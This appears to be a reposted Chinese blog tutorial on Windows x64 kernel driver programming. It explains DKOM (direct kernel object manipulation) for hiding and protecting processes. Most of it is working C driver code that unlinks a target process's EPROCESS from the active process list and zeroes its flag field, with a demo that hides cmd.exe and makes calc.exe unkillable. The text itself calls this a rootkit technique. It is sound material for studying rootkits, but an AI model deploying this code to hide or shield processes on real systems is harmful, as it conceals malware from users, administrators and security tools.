Win64 驱动内核编程-21.DKOM隐藏和保护进程

DKOM隐藏和保护进程

主要就是操作链表,以及修改节点内容。

DKOM 隐藏进程和保护进程的本质是操作 EPROCESS 结构体,不同的系统用的时候注意查下相关定义,确定下偏移,下面的数据是以win7 64为例。文章地址https://www.yii666.com/article/764303.html网址:yii666.com<

关 注 两 个 成 员 : ActiveProcessLinks 和 Flag 。

ActiveProcessLinks 把各个EPROCESS 结构体连接成“双向链表”,ZwQuerySystemInformation枚举进程时就是枚举这条链表,如果将某个 EPROCESS 从中摘除,ZwQuerySystemInformation就无法枚举到被摘链的进程了,而依靠此函数的一堆 RING3 的枚举进程函数也失效了;而把Flag 置 0 后,OpenProcess 函数就会返回失败。不过需要注意的是,用 用 DKOM  来保护进程会有很大的隐患,比如用 调用 CreateProcess  会 失败,而且 进程 退出 但 不取消保护的话,有一定机率导致蓝屏。一句话,DKOM  保护进程 和 隐藏进程 只适用于 ROOTKIT ,而不适用于正规软件。实现隐藏进程和保护进程的代码如下:文章来源地址:https://www.yii666.com/article/764303.html

NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process); //目标进程
PEPROCESS audiodg=NULL, dwm=NULL;
ULONG op_dat; //偏移定义
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x188
#define PROCESS_FLAG_OFFSET 0x440 //获得EPROCESS
PEPROCESS GetProcessObjectByName(char *name)
{
SIZE_T i;
for(i=100;i<20000;i+=4)
{
NTSTATUS st;
PEPROCESS ep;
st=PsLookupProcessByProcessId((HANDLE)i,&ep);
if(NT_SUCCESS(st))
{
char *pn=PsGetProcessImageFileName(ep);
if(_stricmp(pn,name)==0)
return ep;
}
}
return NULL;
} //摘除双向链表的指定项
VOID RemoveListEntry(PLIST_ENTRY ListEntry)
{
KIRQL OldIrql;
OldIrql = KeRaiseIrqlToDpcLevel();
if (ListEntry->Flink != ListEntry &&
ListEntry->Blink != ListEntry &&
ListEntry->Blink->Flink == ListEntry &&
ListEntry->Flink->Blink == ListEntry)
{
ListEntry->Flink->Blink = ListEntry->Blink;
ListEntry->Blink->Flink = ListEntry->Flink;
ListEntry->Flink = ListEntry;
ListEntry->Blink = ListEntry;
}
KeLowerIrql(OldIrql);
}
//隐藏进程
VOID HideProcess(PEPROCESS Process)
{
RemoveListEntry((PLIST_ENTRY)((ULONG64)Process+PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
} //保护进程
ULONG ProtectProcess(PEPROCESS Process, BOOLEAN bIsProtect, ULONG v)
{
ULONG op;
if(bIsProtect)
{
op=*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET);
*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET)=0;
return op;
}
else
{
*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET)=v;
return 0;
}
} VOID test()
{
audiodg=GetProcessObjectByName("calc.exe");DbgPrint("calc: %p\n",audiodg);
if(audiodg)
{
op_dat=ProtectProcess(audiodg,1,0);
ObDereferenceObject(audiodg);
}
dwm=GetProcessObjectByName("cmd.exe");DbgPrint("cmd: %p\n",dwm);
if(dwm)
{
HideProcess(dwm);
ObDereferenceObject(dwm);
}
}

执行结果:计算器结束不了,cmd.exe没有进程

Win64 驱动内核编程-21.DKOM隐藏和保护进程

但是cmd有这个:

Win64 驱动内核编程-21.DKOM隐藏和保护进程文章来源地址https://www.yii666.com/article/764303.html网址:yii666.com

版权声明:本文内容来源于网络,版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。文本页已经标记具体来源原文地址,请点击原文查看来源网址,站内文章以及资源内容站长不承诺其正确性,如侵犯了您的权益,请联系站长如有侵权请联系站长,将立刻删除

Win64 驱动内核编程-21.DKOM隐藏和保护进程-相关文章

  1. Win64 驱动内核编程-21.DKOM隐藏和保护进程

  2. git保护进程

  3. windows 如何查看端口占用进程ID 进程名称 强制结束进程

  4. linux 结束某个进程,并且结束子进程

  5. 进程隐藏与进程保护(SSDT Hook 实现)(二)

    文章目录:                 1. 引子 – Demo 实现效果:2. 进程隐藏与进程保护概念:3. SSDT Hook 框架搭建:4. Ring0 实现进程隐藏:5. Ring0 实现进程保护:6. 隐藏进程列表和保护进程列表的维护:7. 小结:1. 引子 – Demo 实现效果:上一篇《进程隐藏与进程保护(SSDT Hook 实

  6. 64位下Hook NtOpenProcess的实现进程保护 + 源码 (升级篇 )

    64位下Hook NtOpenProcess的实现进程保护 + 源码 (升级篇 )【PS: 如果在64位系统下,出现调用测试demo,返回false的情况下,请修改Hook Dll的代码】2013.09.11代码修改, 可以针对指定的进程进行保护( 编译DLL和测试DEMO的时候,请注意目标平台,X86还是X64)= 工程给出的是X86下的,X64请自行

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信图片_20190322181744_03.jpg

微信扫一扫打赏

请作者喝杯咖啡吧~

支付宝扫一扫领取红包,优惠每天领

二维码1

zhifubaohongbao.png

二维码2

zhifubaohongbao2.png